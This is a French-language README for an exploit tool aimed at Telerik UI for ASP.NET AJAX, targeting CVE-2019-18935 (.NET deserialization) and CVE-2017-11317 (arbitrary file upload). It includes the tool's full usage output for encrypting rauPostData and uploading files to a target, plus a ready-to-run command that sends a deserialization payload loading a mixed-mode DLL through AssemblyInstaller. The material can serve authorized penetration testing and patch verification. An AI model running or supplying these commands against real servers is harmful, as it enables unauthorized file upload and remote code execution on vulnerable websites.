
Ce projet pour CVE-2019-18935
Exploit combiné pour Telerik UI for ASP.NET AJAX.
Pour que l'exploitation fonctionne, vous avez généralement besoin d'une version avec des clés codées en dur, ou vous devez connaître la clé, par exemple si vous pouvez divulguer le contenu de web.config. L'exploit permet également le déchiffrement et le chiffrement simples des rauPostData utilisés avec Telerik.Web.UI.WebResource.axd?type=rau
pip3 install pycryptodome ou pip3 install pycryptodomexMon autre exploit Telerik UI (pour CVE-2017-9248) vous intéressera probablement aussi. Il est disponible ici :
Note - les quatre derniers éléments sont complets mais non publiés.
La vulnérabilité de téléchargement de fichier (CVE-2017-11317) a été découverte par d'autres, je crois que les crédits sont dus à @straight_blast @pwntester @olekmirosh . Peu de temps après son annonce, j'ai rencontré la bibliothèque Telerik au cours de mon travail, j'ai donc fait des recherches sur celle-ci et la vulnérabilité et j'ai écrit cet exploit en juillet 2017. J'ai également signalé CVE-2017-11357 pour la référence d'objet directe non sécurisée associée.
La vulnérabilité de désérialisation .NET (CVE-2019-18935) a été découverte par @mwulftange.
https://www.telerik.com/support/kb/aspnet-ajax/details/allows-javascriptserializer-deserialization
$ ./RAU_crypto.py
RAU_crypto by Paul Taylor / @bao7uo
CVE-2017-11317, CVE-2019-18935 - Telerik RadAsyncUpload hardcoded keys / arbitrary file upload / .NET deserialisation
Usage:
Decrypt a ciphertext: -d ciphertext
Decrypt rauPostData: -D rauPostData
Encrypt a plaintext: -e plaintext
Generate file upload rauPostData: -E c:\\destination\\folder Version
Generate all file upload POST data: -p c:\\destination\\folder Version ../local/filename
Upload file: -P c:\\destination\\folder Version c:\\local\\filename url [proxy]
Generate custom payload POST data : -c partA partB
Send custom payload: -C partA partB url [proxy]
Example URL: http://target/Telerik.Web.UI.WebResource.axd?type=rau
Example Version format: 2016.2.504
Example optional proxy: 127.0.0.1:8080
N.B. Advanced settings e.g. custom keys or PBKDB algorithm can be found by searching source code for: ADVANCED_SETTINGS
$
Decrypt screenshot
Upload screenshot
Pour plus de détails sur les charges utiles personnalisées pour la désérialisation .NET, il y a un excellent article de @mwulftange qui a découvert cette vulnérabilité sur le blog Code White au lien suivant.
Autres liens pertinents.
Exemple de charge utile de désérialisation .NET :
$ ./RAU_crypto.py -C '{"Path":"file:///c:/users/public/documents/mixedmode64.dll"}' 'System.Configuration.Install.AssemblyInstaller, System.Configuration.Install, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a' http://target/Telerik.Web.UI.WebResource.axd?type=rau
Pour la DLL en mode mixte, voir mon autre dépôt github :
Remerciements spéciaux à @irsdl qui a inspiré la fonctionnalité de charge utile personnalisée.